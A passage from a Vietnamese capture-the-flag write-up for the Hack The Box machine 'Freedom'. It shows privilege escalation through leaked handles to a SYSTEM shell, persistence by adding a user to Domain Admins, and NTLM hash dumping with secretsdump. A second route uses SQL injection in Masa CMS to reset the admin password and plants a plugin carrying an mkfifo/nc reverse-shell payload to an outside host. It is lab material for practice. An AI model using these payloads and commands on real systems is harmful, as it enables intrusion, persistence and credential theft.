`C:\Users\j.bret\Documents\rev.exe`). 

```cpp
_tcscpy_s(conf.ExploitCommand, MAX_PATH, _T("c:\\Users\\j.bret\\Documents\\rev.exe"));
```

Upload và thực hiện chạy `LeakHandlesFinder.exe`:

```powershell=
PS C:\Users\j.bret\Documents> .\LeakedHandlesFinder.exe -a | findstr Health
.\LeakedHandlesFinder.exe -a | findstr Health
==[PID 6060 MEDIUM_INTEGRITY HealthCheck.exe]===================================================================
==[PID 6060 MEDIUM_INTEGRITY HealthCheck.exe]===================================================================
==[PID 6060 MEDIUM_INTEGRITY HealthCheck.exe]===================================================================
==[PID 6060 MEDIUM_INTEGRITY HealthCheck.exe]===================================================================
PS C:\Users\j.bret\Documents> ps | findstr 6060
ps | findstr 6060
     53       4      608       2892       0.02   6060   1 HealthCheck   
```
Và ta có được shell của Administrator:
```powershell=
┌──(kali㉿kali)-[~/Desktop/freedom]
└─$ rlwrap -cAr nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.231.208] 50542
Microsoft Windows [Version 10.0.17763.6532]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\j.bret\Documents>whoami
whoami
nt authority\system

C:\Users\j.bret\Documents>hostname
hostname
DC1
```

Đọc flag `root.txt` ngay trong thư mục `Desktop` của Administrator. (Thêm một bước là tạo persistence bằng cách add `j.bret` vào `Domain Admins`)


```
C:\Users\j.bret\Documents>net group "Domain Admins" j.bret /add /domain
net group "Domain Admins" j.bret /add /domain
The command completed successfully.


C:\Users\j.bret\Documents>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
HTB{l34ky_h4ndl3rs_4th3_w1n}
```
Và có thể dump hash ra nếu như thích ....
```bash
┌──(kali㉿kali)-[~/Desktop/freedom]
└─$ secretsdump.py freedom.htb/j.bret@dc1.freedom.htb
Impacket v0.13.0.dev0+20241127.154729.af51dfd1 - Copyright Fortra, LLC and its affiliated companies 

Password:
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xad7915b8e6d4f9ee383a5176349739e3
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0811b41ce242e8073993cf84efeb50c8:::
....<SNIP>....
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0ca6d07419a355dc88ffa9822f23e898:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:e34d9e641e8c82e364aed1653dadb1cd:::
freedom.htb\j.bret:1105:aad3b435b51404eeaad3b435b51404ee:79806ea973b66a1bb57d0f9b473a9a42:::
freedom.htb\e.tylar:1106:aad3b435b51404eeaad3b435b51404ee:cc631246dea3e7aac8333e18dce90f3d:::
DC1$:1000:aad3b435b51404eeaad3b435b51404ee:1de1e9cafe220b225ce6b85b718bc144:::

```

<h2>
    Hướng 2
</h2>

Quay trở lại [blog CVE-2024-32640](https://projectdiscovery.io/blog/hacking-apple-with-sql-injection) thì ta có thể thực hiện RCE bằng cách reset admin password --> lấy token reset và userID tương ứng (bằng cách dump DB) --> reset mật khẩu --> Tải plugin 

Ngay sau khi thực hiện reset password ở http://freedom.htb/admin/?muraAction=cLogin.main thì thực hiện dumpDB lại ở bảng `tredirects`:


```bash=
ghauri -u 'http://freedom.htb/index.cfm/_api/json/v1/default/?method=processAsyncObject&object=displayregion&contenthistid=x%5c&previewID=x' -p contenthistid -T tredirects -D dbMasaCMS --dump

Database: dbMasaCMS
Table: tredirects
[1 entries]
+-------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------+-------------------------------------+---------+
| redirectID                          | URL                                                                                                                                                                 | created             | userid                              | siteid  |
+-------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------+-------------------------------------+---------+
| 1EECBF67-E5F7-4314-A04399D6A10E5668 | http://freedom.htb/admin/?muraAction=cEditProfile.edit&siteID=default&returnID=1EECBF67-E5F7-4314-A04399D6A10E5668&returnUserID=75296552-E0A8-4539-B1A46C806D767072 | 2024-12-18 06:21:38 | 75296552-E0A8-4539-B1A46C806D767072 | default |
+-------------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------+-------------------------------------+---------+

```

Thực hiện update lại mật khẩu và từ đó có thể có được phiên của admin user.

Tiếc rằng không có plugin nào RCE mẫu cho Masa. Vậy clone thử https://github.com/stevewithington/MuraPlugin repo này.

Nhận thấy rằng
![image](https://hackmd.io/_uploads/Hy9RBglS1x.png)
Vọc vạch một chút thì tìm ra được link này: https://helpx.adobe.com/coldfusion/cfml-reference/coldfusion-tags/tags-d-e.

Và đặc biệt chú ý tới thẻ tag: `<cfexecute/>`
Ở file `index.cfm` thực hiện sửa đổi như sau:

```cfc=
<cfexecute name="/bin/bash"
arguments="-c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <IP> 8888 >/tmp/f'"
variable="data"
timeout="10" />
<cfdump var="#data#">
```

và file `Application.cfc` (chỉ load file `index.cfm`):
```
component accessors=true output=false {

    property name='$';

    include 'plugin/settings.cfm';

    public any function onApplicationStart() {
        return true;
    }

    public any function onRequestStart(required string targetPage) {
        return true;
    }

    public void function onRequest(required string targetPage) {
        include 'index.cfm';
    }

    public void function onSessionStart() {
    }

    public void function onSessionEnd() {
    }

}
```

Thực hiện zip toàn bộ file lại và upload plugin lên trên dashborad của Admin.


... Đến đoạn này chắc cần nghiên cứu tiếp sao để có RCE nhé :D

<h2>
    Conclusion
</h2>

Đơn giản box hay nhiều cái mới và buộc phải đọc hiểu PoC thay vì chạy bo (không thì sẽ bị gọi là **scriptkiddie**) :(

Nếu có chỗ nào chưa được ổn áp thì anh em cứ cmt góp ý mạnh dạn nhé. 

Cheers :100: 
